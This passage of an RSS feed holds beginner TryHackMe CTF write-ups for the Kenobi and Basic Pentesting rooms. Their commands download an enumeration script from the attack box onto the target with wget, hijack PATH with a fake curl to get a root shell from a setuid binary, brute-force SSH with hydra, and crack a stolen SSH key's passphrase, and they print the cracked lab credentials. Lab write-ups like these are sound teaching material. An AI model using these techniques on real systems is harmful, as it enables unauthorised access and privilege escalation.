root  4096 Sep  4  2019 systemd-private-e69bbb0653ce4ee3bd9ae0d93d2a5806-systemd-timesyncd.service-zObUdn</pre><p>Copy id_rsa to your home folder, change permission with this command:</p><pre>chmod 600 id_rsa</pre><p>Now you can login as kenobi with this key via ssh:</p><pre>kenobi@kenobi:~$ ls<br>share  user.txt<br>kenobi@kenobi:~$ cat user.txt <br>[This flag has been censored, you have to find it yourself]</pre><h3>[Task 4]: Privilege Escalation with Path Variable Manipulation</h3><p>To make thing more comfortable, let’s use a script called “<a href="https://github.com/diego-treitos/linux-smart-enumeration">Linux-Smart-Enumeration</a><strong>”</strong></p><p>On your attack box, use SimpleHTTPServer module from python</p><pre>root@kalibox:/opt/LinuxPrivEsc/linux-smart-enumeration# python3 -m http.server 80</pre><pre>Note: if you have python 1: python -m SimpleHTTPServer 80</pre><p>On target machine, use wget to download the script:</p><pre>kenobi@kenobi:~$ wget http://10.11.43.240/lse.sh</pre><p>This will download linux-smart-enumeration script from my box to kenobi<br>Just make the script executable with chmod, let it run and grab a coffee</p><p>The script will print out a lot of information, take your time to read carefully,<br>here is something unusual:</p><pre>[!] fst020 Uncommon setuid binaries........................................ yes!<br>---<br>/usr/bin/menu</pre><p>Run that binary and it shows 3 options:</p><pre>kenobi@kenobi:~$ /usr/bin/menu<br><br>***************************************<br>1. status check<br>2. kernel version<br>3. ifconfig<br>** Enter your choice :</pre><p>If you choose 3 it will output the result of ifconfig command<br><em>You can use strings command to looks for human readable strings on a binary:</em></p><pre>$ strings /usr/bin/menu<br><br>...<br><br>curl -I localhost<br>uname -r<br>ifconfig<br> Invalid choice<br>;*3$&quot;<br>GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609<br>crtstuff.c</pre><pre>    ...</pre><p>This shows us the binary is running without a full path (e.g. not using /usr/bin/curl or /usr/bin/uname). This mean you can manipulate your path to gain a root shell ( this file runs as the root users privileges). <br>Since it calls the curl binary without a full path, you can create a “fake” curl and change your path, so when we run the binary “menu” it will look for “curl” binary in our desired path!</p><pre>kenobi@kenobi:~$ cd /tmp/<br>kenobi@kenobi:/tmp$ echo /bin/bash &gt; curl<br>kenobi@kenobi:/tmp$ chmod 777 curl<br>kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH<br>kenobi@kenobi:/tmp$ /usr/bin/menu<br><br>***************************************<br>1. status check<br>2. kernel version<br>3. ifconfig<br>** Enter your choice :1<br>To run a command as administrator (user &quot;root&quot;), use &quot;sudo &lt;command&gt;&quot;.<br>See &quot;man sudo_root&quot; for details.<br><br>root@kenobi:/tmp# whoami<br>root<br>root@kenobi:/tmp# id<br>uid=0(root) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)</pre><p>Grab that flag and return to our ship commander!</p><pre>root@kenobi:/tmp# cat /root/root.txt<br>======README======<br>Never Give You Up<br>Never Let You Down<br><br>#you think I&#39;m gonna show the flag?</pre><h3>[Overview &amp; Final Thought]</h3><blockquote>This is a good room for learning basic enumeration, exploitation and linux privilege escalation, I just feel not satisfied much since this room include a lot of guide on how to solve the machine. After all this is beginner level, I hope you have a nice time reading my write up, expect more to come. Cheer!</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6h6Wm3ec_0pIhFE9Roc8Bw.jpeg" /><figcaption>Time to rewatch my childhood movie!</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=55d695118382" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Basic Pentesting]]></title>
            <link>https://0xretrobin.medium.com/tryhackme-basic-pentesting-27c0cbd7c3cf?source=rss-a518b12f4f91------2</link>
            <guid isPermaLink="false">https://medium.com/p/27c0cbd7c3cf</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[beginner]]></category>
            <dc:creator><![CDATA[0xRetroBin]]></dc:creator>
            <pubDate>Wed, 15 Sep 2021 16:16:54 GMT</pubDate>
            <atom:updated>2021-09-16T04:59:40.568Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5bWeQZFSd-Dv-e9QcusTDg.png" /><figcaption>You can find this room <a href="https://tryhackme.com/room/basicpentestingjt">here</a></figcaption></figure><blockquote>Hello friend, this is my first CTF write up, hope you will have a good time reading. Since this is my first time writing a blog, I will usually have mistake. If you have any advice, I’m very thankful to hear it from you.</blockquote><h3>[Task]: Web App Testing &amp; Privilege Escalation</h3><p><strong>F</strong>irst, let’s do some reconnaissance:</p><pre>nmap -sC -sV -oA nmap/basic_pen -vv 10.10.74.242</pre><pre>Useful tip: you can perform 2 scans:</pre><pre>First scan just run nmap &lt;target&gt; to find out open ports<br>Second scan use nmap -sC -sV -p with known open ports</pre><pre>This will spend you some time, especially if you want to scan all ports, since it&#39;s ctf, you can at this --min-rate=1000 to your first scan, it will increase the speed significantly.</pre><p>After a while, we have out nmap scan result:</p><pre># Nmap 7.91 scan initiated Wed Sep 15 18:36:36 2021 as: nmap -sC -sV -oA nmap/basic_pen -vv 10.10.74.242<br>Increasing send delay for 10.10.74.242 from 0 to 5 due to 100 out of 332 dropped probes since last increase.<br>Nmap scan report for 10.10.74.242<br>Host is up, received syn-ack (0.25s latency).<br>Scanned at 2021-09-15 18:36:36 +07 for 88s<br>Not shown: 993 closed ports<br>Reason: 993 conn-refused<br>PORT     STATE    SERVICE     REASON      VERSION<br>22/tcp   open     ssh         syn-ack     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)<br>| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZXasCfWSXQ9lYiKbTNkPs0T+wFym2lZy229LllhY6iDLrjm7LIkhCcrlgnJQtLxl5NPhlHNVmwhlkcPPiAHwluhMVE5xKihQj3i+Ucx2IwiFvfmCz4AKsWlR6N8IZe55Ltw0lcH9ykuKZddg81X85EVsNbMacJNjjyxAtwQmJt1F5kB1B2ixgjLLOyNWafC5g1h6XbEgB2wiSRJ5UA8rOZaF28YcDVo0MQhsKpQG/5oPmQUsIeJTUA/XkoWCjvXZqHwv8XInQLQu3VXKgv735G+CJaKzplh7FZyXju8ViDSAY8gdhqpJommYxzqu9s1M31cmFg2fT5V1z9s4DP/vd<br>|   256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBP0SXJpgwPf/e9AT9ri/dlAnkob4PqzMjl2Q9lZIVIXeEFJ9sfRkC+tgSjk9PwK0DUO3JU27pmtAkDL4Mtv9eZw=<br>|   256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAzy8ZacWXbPGeqtuiJCnPP0LYZYZlMj5D1ZY9ldg1wU<br>80/tcp   open     http        syn-ack     Apache httpd 2.4.18 ((Ubuntu))<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>|_http-server-header: Apache/2.4.18 (Ubuntu)<br>|_http-title: Site doesn&#39;t have a title (text/html).<br>139/tcp  open     netbios-ssn syn-ack     Samba smbd 3.X - 4.X (workgroup: WORKGROUP)<br>445/tcp  open     netbios-ssn syn-ack     Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)<br>8009/tcp open     ajp13       syn-ack     Apache Jserv (Protocol v1.3)<br>| ajp-methods: <br>|_  Supported methods: GET HEAD POST OPTIONS<br>8080/tcp open     http        syn-ack     Apache Tomcat 9.0.7<br>|_http-favicon: Apache Tomcat<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>|_http-title: Apache Tomcat/9.0.7<br>8089/tcp filtered unknown     no-response<br>Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><pre>Host script results:<br>|_clock-skew: mean: 1h19m59s, deviation: 2h18m34s, median: 0s<br>| nbstat: NetBIOS name: BASIC2, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: &lt;unknown&gt; (unknown)<br>| Names:<br>|   BASIC2&lt;00&gt;           Flags: &lt;unique&gt;&lt;active&gt;<br>|   BASIC2&lt;03&gt;           Flags: &lt;unique&gt;&lt;active&gt;<br>|   BASIC2&lt;20&gt;           Flags: &lt;unique&gt;&lt;active&gt;<br>|   \x01\x02__MSBROWSE__\x02&lt;01&gt;  Flags: &lt;group&gt;&lt;active&gt;<br>|   WORKGROUP&lt;00&gt;        Flags: &lt;group&gt;&lt;active&gt;<br>|   WORKGROUP&lt;1d&gt;        Flags: &lt;unique&gt;&lt;active&gt;<br>|   WORKGROUP&lt;1e&gt;        Flags: &lt;group&gt;&lt;active&gt;<br>| Statistics:<br>|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00<br>|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00<br>|_  00 00 00 00 00 00 00 00 00 00 00 00 00 00<br>| p2p-conficker: <br>|   Checking for Conficker.C or higher...<br>|   Check 1 (port 37830/tcp): CLEAN (Couldn&#39;t connect)<br>|   Check 2 (port 25443/tcp): CLEAN (Couldn&#39;t connect)<br>|   Check 3 (port 24300/udp): CLEAN (Failed to receive data)<br>|   Check 4 (port 50454/udp): CLEAN (Failed to receive data)<br>|_  0/4 checks are positive: Host is CLEAN or ports are blocked<br>| smb-os-discovery: <br>|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)<br>|   Computer name: basic2<br>|   NetBIOS computer name: BASIC2\x00<br>|   Domain name: \x00<br>|   FQDN: basic2<br>|_  System time: 2021-09-15T07:37:54-04:00<br>| smb-security-mode: <br>|   account_used: guest<br>|   authentication_level: user<br>|   challenge_response: supported<br>|_  message_signing: disabled (dangerous, but default)<br>| smb2-security-mode: <br>|   2.02: <br>|_    Message signing enabled but not required<br>| smb2-time: <br>|   date: 2021-09-15T11:37:54<br>|_  start_date: N/A</pre><pre>Read data files from: /usr/bin/../share/nmap<br>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br># Nmap done at Wed Sep 15 18:38:04 2021 -- 1 IP address (1 host up) scanned in 88.43 seconds</pre><p>So we have interesting ports: 80 (http), 22 (ssh) and 445 (smb)</p><p>Let’s visit the website:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*VqNR91j00INat4VbbFo7xw.png" /><figcaption><strong>Look’s empty….</strong></figcaption></figure><p>The first thing I want to do is to look at the page source:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*H9vPl8OhtXx2-H2c-8sGog.png" /><figcaption>interesting note…</figcaption></figure><p>The note say I should take a look at dev note section, but where it is?</p><p>Time to use gobuster:</p><pre>gobuster dir -u <a href="http://ip:port">http://ip:port</a> -w path/to/wordlist</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_mZx3TzgBi-Z-67xfpsGaA.png" /></figure><p>We have 2 directories:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3JzeFHDBhOyBaxt3QoBm4Q.png" /></figure><p>Let’s go to that one:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*mVdYFfhEl3eUov8lomPVOw.png" /></figure><p>There it is, 2 interesting note someone lefts on this site, grab those with <em>wget</em> command.</p><p>Here’s the content of both files:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*6j7X3aOHZZPtSLEIQ38H9A.png" /></figure><p>From here we have 2 possible user: K and J, we need to enumerate more</p><p>We also know SMB has been configured, J ‘s password is weak and easy to crack, according to K</p><p>We know on port 445 there is a smb service running, let’s use <em>smbclient</em> to interact with it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*uokEJWm-6woPjSLMTAi6hQ.png" /></figure><p>Seems like I can list file share on this smb as guest</p><pre>You can use tool like enum4linux to get more information about the smb service, you will see the same shares like I do</pre><p>Let’s access that share with this command:</p><pre>smbclient \\\\10.10.74.242\\Anonymous</pre><pre>For those who are new to this, the share I want to access is:<br>\\10.10.74.242\Anonymous<br>However, due to shell restrictions, you will need to escape the backslashes so we end up like above command</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*3RuJEsoy2nloGihs874QYw.png" /></figure><p>There is a file “staff.txt”, download it with this command:</p><pre>get staff.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/253/1*Z2t1jT9DMH1smIKPT1qX9g.png" /></figure><blockquote>You can type “help” to have more information about available commands on smb</blockquote><p>Open it….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*KWgcFMh0TnDffVZeunQGrA.png" /></figure><p>So our mystery K is Kay and J is Jan!</p><p>Remember from our nmap scan there is ssh running on port 22? We can try brute-forcing the password with the name jan, since Kay is big boss and Jan is just his staff. It’s a good idea to try to gain low access first.</p><pre>Before we do any brute-forcing, we need to sort our rockyou.txt wordlist first:</pre><pre>cat rockyou.txt | sort -u | uniq &gt; rockyou_sorted.txt</pre><p>Use hydra with “jan” as username:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*kQ0mKAhY7i40b1RBc1DciA.png" /></figure><p>Grab a coffee &amp; here is our guy’s password:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*YpVZ3BZ02q8RokEpPyhJjg.png" /><figcaption>His name is Jan “Armando”?</figcaption></figure><p>Anyway let’s login with the credential:</p><pre>username: jan<br>password: armando</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*9ztTGKNoa4r_tGKt-x6jCg.png" /><figcaption>last login is from 2018…</figcaption></figure><p>After looking around and find nothing, I decide to take a look at our big guy’s directory and found this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*VOX0_Zp9BXhzztqy3yfcsw.png" /><figcaption>We can read this guy private key!</figcaption></figure><p>Well, I think with this private key we can login as Kay without password!</p><p>Copy it and create a file name id_rsa on your attack box, paste the key in</p><p>Let’s try it out:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*q1s_VGq9f20QMVZ_ueNkHA.png" /><figcaption>oof</figcaption></figure><p>It asks for a passphrase, well seems like I have to find the other way…</p><p>You can use this tool to get the password hash from a private key file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/346/1*WUibzBplzshagvPq6Y7kZA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*yo3slxScT_Bqon0ojiZHdw.png" /></figure><p>Hey John, crack this hash please:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*1nykQe1PIlIMnLBw30Q72A.png" /></figure><pre>Note: From my times using JohnTheRipper, I find out that this tool doesn&#39;t like the single flag like &quot;-w&quot;, it usually fail so the best practice is you use double &quot;--&quot; for everything, works like a charm</pre><p>So we have “beeswax”, maybe it’s his password or passphrase? Have to try it out!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*YKrqKrqWXyOKdYE-Ri5ZAg.png" /><figcaption>beeswax is his passphrase!</figcaption></figure><p>List Kay’s home directory you have this weird hash file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*dknZDDkcQb2RWUDlNCIyRw.png" /><figcaption>really strong password policy!</figcaption></figure><p>It’s the flag for the final question in THM Basic Pentesting room, paste it and enjoy your completion!</p><h3>[Overview &amp; Final Thought]</h3><blockquote>This is a really good box for beginner, it took me an hour to solve it, since the nmap scan is quick, I suggest you run gobuster as soon as you see a port with http service running on it. You can use <a href="https://github.com/RustScan/RustScan">rustscan</a> to recon the target, it’s really fast and also pipe the result into nmap. I think you can try brute-forcing Kay’s password over ssh with hydra but I haven’t test it yet, will try that later.</blockquote><blockquote>Thank you so much for spending your valuable time on this write up, I hope you will learn something new. By the way I want to thanks IppSec for his awesome videos, he really motivates me into learning Info Sec. It’s has been a really tough for me at the beginning, COVID and unstable Internet connection are not a great combination. Just remember, when ever you get stuck, read some write ups, stand up, take a walk and come back, you will finally solve it.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=27c0cbd7c3cf" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>